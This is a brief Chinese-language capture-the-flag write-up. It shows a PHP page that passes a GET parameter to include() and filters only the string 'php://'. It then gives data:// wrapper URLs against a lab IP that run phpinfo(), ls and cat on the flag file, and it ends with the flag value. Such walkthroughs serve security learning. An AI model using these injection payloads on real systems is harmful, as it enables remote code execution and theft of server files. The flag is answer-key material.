一、审查源码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
http://111.200.241.244:54777/?page=data://text/plain/,%3C?php%20system(%22ls%22)?%3E
二、解决步骤
PHP伪协议:https://segmentfault.com/a/1190000018991087(建议你们去看一下,因为ctf题目经常出现这类型题目)
1、使用data://数据流封装器,以传递相应格式的数据。用来执行PHP代码。
http://111.200.241.244:54777/?page=data://text/plain,<?php phpinfo();?> http://111.200.241.244:54777/?page=data://text/plain,%3C?php%20system(%22ls%22);?%3E http://111.200.241.244:54777/?page=data://text/plain,%3C?php%20system(%22cat%20fl4gisisish3r3.php%22);?%3E
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
|